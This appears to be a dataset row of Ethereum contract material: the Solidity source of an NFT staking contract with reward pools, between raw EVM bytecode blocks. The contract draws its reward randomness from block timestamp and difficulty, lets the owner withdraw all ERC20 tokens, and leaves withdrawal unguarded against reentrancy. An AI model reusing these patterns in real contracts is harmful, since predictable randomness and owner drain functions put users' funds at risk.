ff168152602001908152602001600020549050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ffc57600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561110357600080fd5b600860149054906101000a900460ff1615151561111f57600080fd5b6001600860146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112295780601f106111fe57610100808354040283529160200191611229565b820191906000526020600020905b81548152906001019060200180831161120c57829003601f168201915b505050505081565b600061123d8383611ba8565b5092915050565b6000600660009054906101000a900460ff1615151561126257600080fd5b6001600660006101000a81548160ff021916908315150217905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156112b957600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561130757600080fd5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561139257600080fd5b6113e482600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b8f90919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061147982600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119bd90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061154b82600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b8f90919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a38273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fd1398bee19313d6bf672ccb116e51f4a1a947e91c757907f51fbb5b5e56c698f856040518082815260200191505060405180910390a4600190506000600660006101000a81548160ff0219169083151502179055509392505050565b600061176382600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119bd90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119b157600080fd5b6119ba81611e9b565b50565b600081830190508281101515156119d057fe5b80905092915050565b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515611a2757600080fd5b611a7981600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b8f90919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ad181600454611b8f90919063ffffffff16565b6004819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000828211151515611b9d57fe5b818303905092915050565b6000600660009054906101000a900460ff16151515611bc657600080fd5b6001600660006101000a81548160ff021916908315150217905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611c1d57600080fd5b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611c6b57600080fd5b611cbd82600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b8f90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d5282600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119bd90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a38273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fd1398bee19313d6bf672ccb116e51f4a1a947e91c757907f51fbb5b5e56c698f856040518082815260200191505060405180910390a4600190506000600660006101000a81548160ff02191690831515021790555092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611ed757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820e1f3ea15957d61b81f4664992dc34b7333f2222508be0f8837c789ce0e93af1c0029
{"success": true, "error": null, "results": {}}
5,479
0x8fe9cd53496861b72fbcf0f48a7b6c362d04de05
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "t001"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "t002"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } abstract contract ReentrancyGuard { uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } modifier nonReentrant() { require(_status != _ENTERED, "t003"); _status = _ENTERED; _; _status = _NOT_ENTERED; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "t004"); (bool success,) = recipient.call{value : amount}(""); require(success, "t005"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "m001"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "m002"); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "t006"); require(isContract(target), "t007"); (bool success, bytes memory returndata) = target.call{value : value}(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "m003"); } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "t008"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "m004"); } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "t009"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } interface IERC721Enumerable { function balanceOf(address account) external view returns (uint256); function isApprovedForAll(address owner, address operator) external view returns (bool); function transferFrom( address from, address to, uint256 tokenId ) external; function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); } interface IERC20 { function decimals() external view returns (uint8); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "t010"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "t011"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "t012"); return c; } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "t013" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "m006"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "m007"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "t014"); } } } interface Chao { function claim(address _to, uint256 _num, uint256 _poolId, uint256 _randNum, uint256 _minNum, uint256 _MaxNum) external; } contract Staking is ReentrancyGuard, Ownable { using SafeERC20 for IERC20; using SafeMath for uint256; uint256 private PoolIdNow = 0; mapping(address => mapping(uint256 => uint256)) public staking_num; mapping(address => mapping(uint256 => uint256[])) public staking_token_id; mapping(uint256 => mapping(uint256 => bool)) private staking_token_id_status; mapping(address => mapping(uint256 => uint256)) public staking_time; mapping(uint256 => PoolInfo) public PoolInfoList; IERC721Enumerable public stakingNftAddress; IERC20 public RewardAddress; Chao public RewardNft; struct PoolInfo { uint256 poolId; bool canStakeNft; uint256 stakingLength; uint256 RandTotal; uint256 RandMin; uint256 RandMax; uint256 RewardNum; } // event widthdrawNftEvent(address _user, uint _tokenId, uint rand_num); // _RandTotal:800; _RandMin:200;_RandMax:600; function addPool(uint256 _stakingLength, uint256 _RandTotal, uint256 _RandMin, uint256 _RandMax, uint256 _RewardNum) public onlyOwner { require(_RandTotal >= _RandMin && _RandTotal >= _RandMin && _RandMax > _RandMin, "t015"); PoolIdNow = PoolIdNow.add(1); PoolInfoList[PoolIdNow] = PoolInfo(PoolIdNow, true, _stakingLength, _RandTotal, _RandMin, _RandMax, _RewardNum); } function updatePool(uint256 _poolId, bool canStakeNft, uint256 _stakingLength, uint256 _RandTotal, uint256 _RandMin, uint256 _RandMax, uint256 _RewardNum) public onlyOwner { require(_RandTotal >= _RandMin && _RandTotal >= _RandMin && _RandMax > _RandMin, "t016"); PoolInfoList[_poolId] = PoolInfo(PoolIdNow, canStakeNft, _stakingLength, _RandTotal, _RandMin, _RandMax, _RewardNum); } function enableCanStakeNft(uint256 _poolId) public onlyOwner { require(PoolInfoList[_poolId].canStakeNft == false && PoolInfoList[_poolId].RewardNum > 0, "t017"); PoolInfoList[_poolId].canStakeNft = true; } function disableCanStakeNft(uint256 _poolId) public onlyOwner { require(PoolInfoList[_poolId].canStakeNft == true && PoolInfoList[_poolId].RewardNum > 0, "t018"); PoolInfoList[_poolId].canStakeNft = false; } // function setStakingNftAddress(IERC721Enumerable stakingNftAddress_) public onlyOwner { // stakingNftAddress = stakingNftAddress_; // } // function setRewardAddress(IERC20 RewardAddress_) public onlyOwner { // RewardAddress = RewardAddress_; // } // function setRewardNft(Chao RewardNft_) public onlyOwner { // RewardNft = RewardNft_; // } function setTokens(IERC721Enumerable stakingNftAddress_, Chao RewardNft_, IERC20 RewardAddress_) public onlyOwner { stakingNftAddress = stakingNftAddress_; RewardNft = RewardNft_; RewardAddress = RewardAddress_; } // function setRewardAddress(IERC20 RewardAddress_) public onlyOwner { // RewardAddress = RewardAddress_; // } // function setRewardNft(Chao RewardNft_) public onlyOwner { // RewardNft = RewardNft_; // } function getStakeNftNum(uint256 _poolId, address _user) public view returns (uint256 num) { if (PoolInfoList[_poolId].canStakeNft == false) num = 0; else if (stakingNftAddress.balanceOf(_user) == 0) num = 0; else { uint256 num2 = stakingNftAddress.balanceOf(_user); for (uint256 i = 0; i < num2; i++) { if (staking_token_id_status[_poolId][stakingNftAddress.tokenOfOwnerByIndex(_user, i)] == false) { num = num.add(1); } } } } function getStakeNftList(uint256 _poolId, uint256 _maxNum, address _user) internal view returns (uint256[] memory, uint256) { require(PoolInfoList[_poolId].canStakeNft == true, "t019"); require(stakingNftAddress.balanceOf(_user) > 0, "t020"); require(stakingNftAddress.isApprovedForAll(_user, address(this)), "t021"); uint256 num = stakingNftAddress.balanceOf(_user); uint256 num2 = 0; for (uint256 i = 0; i < num; i++) { if (staking_token_id_status[_poolId][stakingNftAddress.tokenOfOwnerByIndex(_user, i)] == false) { num2 = num2.add(1); } } require(num2 > 0, "t022"); if (num2 >= _maxNum) { num2 = _maxNum; } uint256[] memory num3 = new uint256[](num2); uint256 j = 0; for (uint256 i = 0; i < num; i++) { if (staking_token_id_status[_poolId][stakingNftAddress.tokenOfOwnerByIndex(_user, i)] == false) { if (j < num2) { num3[j] = stakingNftAddress.tokenOfOwnerByIndex(_user, i); j = j.add(1); } } } return (num3, num3.length); } function stakeNft(uint256 _poolId, uint256 _maxNum) public { (uint256[] memory num3,) = getStakeNftList(_poolId, _maxNum, msg.sender); for (uint256 i = 0; i < num3.length; i++) { if (staking_token_id_status[_poolId][num3[i]] == false) { staking_token_id[msg.sender][_poolId].push(num3[i]); stakingNftAddress.transferFrom(msg.sender, address(this), num3[i]); staking_token_id_status[_poolId][num3[i]] = true; } } staking_num[msg.sender][_poolId] = staking_num[msg.sender][_poolId] + num3.length; staking_time[msg.sender][_poolId] = block.number; } function rand(uint256 _length, address _address, uint256 _tokenId) internal view returns (uint256) { uint256 random = uint256(keccak256(abi.encodePacked(block.difficulty, block.timestamp, _address, _tokenId))); return random % _length; } function widthdrawNft(uint256 _poolId) public { require(block.number > staking_time[msg.sender][_poolId] + PoolInfoList[_poolId].stakingLength, "t023"); require(staking_num[msg.sender][_poolId] > 0, "t024"); for (uint256 i = 0; i < staking_token_id[msg.sender][_poolId].length; i++) { stakingNftAddress.transferFrom(address(this), msg.sender, staking_token_id[msg.sender][_poolId][i]); uint rand_num = rand(PoolInfoList[_poolId].RandTotal, msg.sender, staking_token_id[msg.sender][_poolId][i]); // emit widthdrawNftEvent(msg.sender, staking_token_id[msg.sender][_poolId][i], rand_num); if (rand_num > PoolInfoList[_poolId].RandMin && rand_num < PoolInfoList[_poolId].RandMax) { RewardNft.claim(msg.sender, 1, _poolId, rand_num, PoolInfoList[_poolId].RandMin, PoolInfoList[_poolId].RandMax); } } uint256 reward_num = PoolInfoList[_poolId].RewardNum.mul(staking_num[msg.sender][_poolId]).mul(10 ** RewardAddress.decimals()); RewardAddress.safeApprove(address(this), reward_num); RewardAddress.safeTransferFrom(address(this), msg.sender, reward_num); staking_num[msg.sender][_poolId] = 0; staking_time[msg.sender][_poolId] = 0; delete staking_token_id[msg.sender][_poolId]; } function widthdrawNftWithoutReward(uint256 _poolId) public { // require(block.number > staking_time[msg.sender][_poolId] + PoolInfoList[_poolId].stakingLength, "t025"); require(staking_num[msg.sender][_poolId] > 0, "t026"); for (uint256 i = 0; i < staking_token_id[msg.sender][_poolId].length; i++) { stakingNftAddress.transferFrom(address(this), msg.sender, staking_token_id[msg.sender][_poolId][i]); staking_token_id_status[_poolId][staking_token_id[msg.sender][_poolId][i]] = false; } staking_num[msg.sender][_poolId] = 0; staking_time[msg.sender][_poolId] = 0; delete staking_token_id[msg.sender][_poolId]; } // function massTransferFrom(address _to, uint256 _num) public { // uint256 num = stakingNftAddress.balanceOf(msg.sender); // require(num > 0 && _num > 0, "t027"); // require(stakingNftAddress.isApprovedForAll(msg.sender, address(this)), "t028"); // if (num >= _num) { // num = _num; // } // for (uint256 i = 0; i < num; i++) { // stakingNftAddress.transferFrom(msg.sender, _to, stakingNftAddress.tokenOfOwnerByIndex(msg.sender, 0)); // } // } function getErc20Token(IERC20 _token) public onlyOwner { _token.safeApprove(address(this), _token.balanceOf(address(this))); _token.safeTransferFrom(address(this), msg.sender, _token.balanceOf(address(this))); } }
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80636ca464ef116100ad5780638da5cb5b116100715780638da5cb5b146102a057806391c2a772146102b1578063cc9699eb146102c4578063d5ecd4b814610348578063f2fde38b1461035b57600080fd5b80636ca464ef1461024c5780636e066c181461025f5780636e10445214610272578063715018a61461028557806379cbeb2d1461028d57600080fd5b80634b6f8cd3116100f45780634b6f8cd3146101d55780635dc19170146101e857806360a22f3f146101fb578063621c1f20146102265780636bbfff001461023957600080fd5b8063180d5121146101315780632d97af8314610146578063443be209146101845780634aa040d2146101975780634b6c3c0d146101c2575b600080fd5b61014461013f366004611f39565b61036e565b005b610171610154366004611d93565b600660209081526000928352604080842090915290825290205481565b6040519081526020015b60405180910390f35b610144610192366004611e11565b61048a565b6008546101aa906001600160a01b031681565b6040516001600160a01b03909116815260200161017b565b6101446101d0366004611e5c565b6104f3565b6101446101e3366004611e5c565b6105a3565b6101446101f6366004611e5c565b610788565b610171610209366004611d93565b600360209081526000928352604080842090915290825290205481565b610171610234366004611e8e565b610839565b6009546101aa906001600160a01b031681565b61014461025a366004611e5c565b610a45565b61014461026d366004611d76565b610e53565b610171610280366004611dbf565b610f9c565b610144610fda565b61014461029b366004611f17565b611010565b6001546001600160a01b03166101aa565b6101446102bf366004611ebe565b611210565b6103136102d2366004611e5c565b6007602052600090815260409020805460018201546002830154600384015460048501546005860154600690960154949560ff909416949293919290919087565b604080519788529515156020880152948601939093526060850191909152608084015260a083015260c082015260e00161017b565b600a546101aa906001600160a01b031681565b610144610369366004611d76565b611312565b6001546001600160a01b031633146103a15760405162461bcd60e51b81526004016103989061200a565b60405180910390fd5b8284101580156103b15750828410155b80156103bc57508282115b6103f15760405162461bcd60e51b8152600401610398906020808252600490820152637430313560e01b604082015260600190565b6002546103ff906001611384565b60028181556040805160e081018252838152600160208083018281528385019b8c52606084019a8b5260808401998a5260a0840198895260c084019788526000968752600790915292909420905181559051928101805460ff191693151593909317909255955195810195909555925160038501559051600484015551600583015551600690910155565b6001546001600160a01b031633146104b45760405162461bcd60e51b81526004016103989061200a565b600880546001600160a01b039485166001600160a01b031991821617909155600a80549385169382169390931790925560098054919093169116179055565b6001546001600160a01b0316331461051d5760405162461bcd60e51b81526004016103989061200a565b600081815260076020526040902060019081015460ff161515148015610553575060008181526007602052604090206006015415155b6105885760405162461bcd60e51b8152600401610398906020808252600490820152630e86062760e31b604082015260600190565b6000908152600760205260409020600101805460ff19169055565b3360009081526003602090815260408083208484529091529020546105f35760405162461bcd60e51b8152600401610398906020808252600490820152633a18191b60e11b604082015260600190565b60005b33600090815260046020908152604080832085845290915290205481101561073757600854336000818152600460209081526040808320878452909152902080546001600160a01b03909316926323b872dd92309290918690811061065d5761065d6121e8565b90600052602060002001546040518463ffffffff1660e01b815260040161068693929190611fb3565b600060405180830381600087803b1580156106a057600080fd5b505af11580156106b4573d6000803e3d6000fd5b505050600083815260056020908152604080832033845260048352818420878552909252822080549293509091839190859081106106f4576106f46121e8565b9060005260206000200154815260200190815260200160002060006101000a81548160ff021916908315150217905550808061072f9061218d565b9150506105f6565b50336000818152600360209081526040808320858452825280832083905583835260068252808320858452825280832083905592825260048152828220848352905290812061078591611d44565b50565b6001546001600160a01b031633146107b25760405162461bcd60e51b81526004016103989061200a565b60008181526007602052604090206001015460ff161580156107e4575060008181526007602052604090206006015415155b6108195760405162461bcd60e51b8152600401610398906020808252600490820152637430313760e01b604082015260600190565b60009081526007602052604090206001908101805460ff19169091179055565b60008281526007602052604081206001015460ff1661085a57506000610a3f565b6008546040516370a0823160e01b81526001600160a01b038481166004830152909116906370a082319060240160206040518083038186803b15801561089f57600080fd5b505afa1580156108b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d79190611e75565b6108e357506000610a3f565b6008546040516370a0823160e01b81526001600160a01b03848116600483015260009216906370a082319060240160206040518083038186803b15801561092957600080fd5b505afa15801561093d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109619190611e75565b905060005b81811015610a3c576000858152600560205260408082206008549151632f745c5960e01b81526001600160a01b038881166004830152602482018690529193929190911690632f745c599060440160206040518083038186803b1580156109cc57600080fd5b505afa1580156109e0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a049190611e75565b815260208101919091526040016000205460ff16610a2a57610a27836001611384565b92505b80610a348161218d565b915050610966565b50505b92915050565b6000818152600760209081526040808320600201543384526006835281842085855290925290912054610a789190612028565b4311610aaf5760405162461bcd60e51b8152600401610398906020808252600490820152637430323360e01b604082015260600190565b336000908152600360209081526040808320848452909152902054610aff5760405162461bcd60e51b8152600401610398906020808252600490820152631d0c0c8d60e21b604082015260600190565b60005b336000908152600460209081526040808320858452909152902054811015610d0357600854336000818152600460209081526040808320878452909152902080546001600160a01b03909316926323b872dd923092909186908110610b6957610b696121e8565b90600052602060002001546040518463ffffffff1660e01b8152600401610b9293929190611fb3565b600060405180830381600087803b158015610bac57600080fd5b505af1158015610bc0573d6000803e3d6000fd5b50505060008381526007602090815260408083206003015433808552600484528285208886529093529083208054939450610c189391929186908110610c0857610c086121e8565b90600052602060002001546113d3565b60008481526007602052604090206004015490915081118015610c4b575060008381526007602052604090206005015481105b15610cf057600a546000848152600760205260409081902060048082015460059092015492516301a6ba5360e21b81523391810191909152600160248201526044810187905260648101859052608481019190915260a48101919091526001600160a01b039091169063069ae94c9060c401600060405180830381600087803b158015610cd757600080fd5b505af1158015610ceb573d6000803e3d6000fd5b505050505b5080610cfb8161218d565b915050610b02565b506000610dd0600960009054906101000a90046001600160a01b03166001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b158015610d5757600080fd5b505afa158015610d6b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d8f9190611f74565b610d9a90600a612097565b336000908152600360209081526040808320878452825280832054600790925290912060060154610dca91611442565b90611442565b600954909150610dea906001600160a01b031630836114a0565b600954610e02906001600160a01b03163033846115c6565b3360008181526003602090815260408083208684528252808320839055838352600682528083208684528252808320839055928252600481528282208583529052908120610e4f91611d44565b5050565b6001546001600160a01b03163314610e7d5760405162461bcd60e51b81526004016103989061200a565b6040516370a0823160e01b81523060048201819052610f0b916001600160a01b038416906370a082319060240160206040518083038186803b158015610ec257600080fd5b505afa158015610ed6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610efa9190611e75565b6001600160a01b03841691906114a0565b6040516370a0823160e01b815230600482018190526107859133906001600160a01b038516906370a082319060240160206040518083038186803b158015610f5257600080fd5b505afa158015610f66573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f8a9190611e75565b6001600160a01b0385169291906115c6565b60046020528260005260406000206020528160005260406000208181548110610fc457600080fd5b9060005260206000200160009250925050505481565b6001546001600160a01b031633146110045760405162461bcd60e51b81526004016103989061200a565b61100e60006115ed565b565b600061101d83833361163f565b50905060005b81518110156111b057600560008581526020019081526020016000206000838381518110611053576110536121e8565b60209081029190910181015182528101919091526040016000205460ff1661119e57336000908152600460209081526040808320878452909152902082518390839081106110a3576110a36121e8565b6020908102919091018101518254600181018455600093845291909220015560085482516001600160a01b03909116906323b872dd90339030908690869081106110ef576110ef6121e8565b60200260200101516040518463ffffffff1660e01b815260040161111593929190611fb3565b600060405180830381600087803b15801561112f57600080fd5b505af1158015611143573d6000803e3d6000fd5b505050506001600560008681526020019081526020016000206000848481518110611170576111706121e8565b6020026020010151815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806111a88161218d565b915050611023565b5080513360009081526003602090815260408083208784529091529020546111d89190612028565b336000818152600360209081526040808320888452825280832094909455918152600682528281209581529490529092204390555050565b6001546001600160a01b0316331461123a5760405162461bcd60e51b81526004016103989061200a565b82841015801561124a5750828410155b801561125557508282115b61128a5760405162461bcd60e51b8152600401610398906020808252600490820152633a18189b60e11b604082015260600190565b6040805160e0810182526002805482529715156020808301918252828401988952606083019788526080830196875260a0830195865260c0830194855260009a8b526007905291909820975188555160018801805460ff1916911515919091179055935194860194909455905160038501555160048401559051600583015551600690910155565b6001546001600160a01b0316331461133c5760405162461bcd60e51b81526004016103989061200a565b6001600160a01b03811661137b5760405162461bcd60e51b8152600401610398906020808252600490820152633a18181960e11b604082015260600190565b610785816115ed565b6000806113918385612028565b9050838110156113cc5760405162461bcd60e51b8152600401610398906020808252600490820152630743031360e41b604082015260600190565b9392505050565b600080444285856040516020016114159493929190938452602084019290925260601b6bffffffffffffffffffffffff19166040830152605482015260740190565b60408051601f198184030181529190528051602090910120905061143985826121a8565b95945050505050565b60008261145157506000610a3f565b600061145d8385612142565b90508261146a8583612040565b146113cc5760405162461bcd60e51b8152600401610398906020808252600490820152633a18189960e11b604082015260600190565b8015806115295750604051636eb1769f60e11b81523060048201526001600160a01b03838116602483015284169063dd62ed3e9060440160206040518083038186803b1580156114ef57600080fd5b505afa158015611503573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115279190611e75565b155b61155e5760405162461bcd60e51b8152600401610398906020808252600490820152637430313360e01b604082015260600190565b6040516001600160a01b0383166024820152604481018290526115c190849063095ea7b360e01b906064015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152611b7a565b505050565b6115e7846323b872dd60e01b85858560405160240161158a93929190611fb3565b50505050565b600180546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60008381526007602052604081206001908101546060929160ff9091161515146116945760405162461bcd60e51b8152600401610398906020808252600490820152637430313960e01b604082015260600190565b6008546040516370a0823160e01b81526001600160a01b03858116600483015260009216906370a082319060240160206040518083038186803b1580156116da57600080fd5b505afa1580156116ee573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117129190611e75565b116117485760405162461bcd60e51b8152600401610398906020808252600490820152630743032360e41b604082015260600190565b600854604051